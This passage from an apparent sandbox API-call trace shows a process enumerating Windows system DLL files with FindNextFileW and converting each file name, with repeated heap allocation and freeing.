ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.978] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.978] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.978] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.978] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.978] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xd3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd3c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd3c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.979] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xd3c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0193.979] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.980] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xd3c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.980] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd3c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.980] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.980] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.980] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.981] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, 